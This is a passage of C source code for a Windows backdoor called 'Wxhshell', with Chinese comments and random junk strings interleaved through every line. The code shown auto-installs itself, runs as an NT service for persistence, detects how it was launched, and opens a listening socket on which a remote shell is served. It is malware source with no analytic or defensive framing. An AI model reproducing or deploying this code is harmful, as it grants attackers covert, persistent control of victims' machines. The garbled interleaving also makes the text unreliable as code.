FALSE, pbi.InheritedFromUniqueProcessId); ^;Hi/KvM\ if(hProcess==NULL) return 0; 3G%XG{dg 2h|(8f:y HMODULE hMod; 5ykk11!p$ char procName[255]; TY54e T unsigned long cbNeeded; JT.\f,z& fo!Lp*'0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7=QC+XSO b68G&z>
CloseHandle(hProcess); V\rIN}7 f@F^W YQm if(strstr(procName,"services")) return 1; // 以服务启动 `:bvuc( -NflaV~ return 0; // 注册表启动 >DL-Q\U } R>e3@DQ~ >arO$|W // 主模块 .Kh(F6
s int StartWxhshell(LPSTR lpCmdLine) 0ez
i?Um { aoakTi!} SOCKET wsl;
#8Id:56 BOOL val=TRUE; z!1/_]WJ, int port=0; E-tNB{r@ struct sockaddr_in door; -}N\REXE } TX'Z?Lq if(wscfg.ws_autoins) Install(); D|Ih e%w- <R`,zE@t'( port=atoi(lpCmdLine); ku[=QsMv X>@.-{6T if(port<=0) port=wscfg.ws_port; iu6WGmR o trTrh WSADATA data; gGiV1jN_ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zfr (dQ P^_d$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ng_rb KXC# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'Qs3 door.sin_family = AF_INET; %:be{Y6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); RZ/+K= door.sin_port = htons(port); Og;$P'U ev;5?9\E if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >;' 1k' closesocket(wsl); ;@ll return 1; ZoNNM4M+ } -B3wRAEt 9i2vWSga if(listen(wsl,2) == INVALID_SOCKET) { 8|jX ~f closesocket(wsl); ".Deu|> return 1; ^?^|Y?f2P? } I^(o3B Wxhshell(wsl); Vg [5bJ5 WSACleanup(); ;aRWJG [[66[;
return 0; t6L^
#\' [@. jL0> } |Qt`p@W O'& \-j 1 // 以NT服务方式启动 pqQdr-aR= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <>*''^ { l&^[cR DWORD status = 0; _7j/[ DWORD specificError = 0xfffffff; 4Utx
9^ _qzo):G.s serviceStatus.dwServiceType = SERVICE_WIN32; 4Tzu"y serviceStatus.dwCurrentState = SERVICE_START_PENDING; ry'^1~, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &A5[C{x serviceStatus.dwWin32ExitCode = 0; =<FZ{4 serviceStatus.dwServiceSpecificExitCode = 0; 3d)+44G_) serviceStatus.dwCheckPoint = 0; {R{%Z serviceStatus.dwWaitHint = 0; : .w'gU_ ]kplb0` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (27F if (hServiceStatusHandle==0) return; VY&9kN 85@6uBh status = GetLastError(); 8DS5< if (status!=NO_ERROR) _Fh0^O@ { <T_Nlar^^ serviceStatus.dwCurrentState = SERVICE_STOPPED; _8b>r1$ serviceStatus.dwCheckPoint = 0; vVN[bD< serviceStatus.dwWaitHint = 0; "6NNId|Y serviceStatus.dwWin32ExitCode = status; M"$RtS|h serviceStatus.dwServiceSpecificExitCode = specificError; ]MA)='~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mn\B\ return; f+*2K^B } O"-PNF,J _467~5JkU serviceStatus.dwCurrentState = SERVICE_RUNNING; &\]f!'jV serviceStatus.dwCheckPoint = 0; _2!e!Z serviceStatus.dwWaitHint = 0; MdoWqpC if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eNC5' Z } Jp*AIj VU'l~%ql // 处理NT服务事件,比如:启动、停止 JK8@J9(# VOID WINAPI NTServiceHandler(DWORD fdwControl) ?>\]%$5o { $Q$d\Yvi switch(fdwControl) BLH3$*,H { ,l?76g case SERVICE_CONTROL_STOP: fUWm7>6VA> serviceStatus.dwWin32ExitCode = 0; 5~R{,]52 serviceStatus.dwCurrentState = SERVICE_STOPPED; S| -{wC% serviceStatus.dwCheckPoint = 0; w>q_8V_K serviceStatus.dwWaitHint = 0; ]aW.b_7<9 { [MXXY SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?QIQ,?. } &fy8,} return; x2& |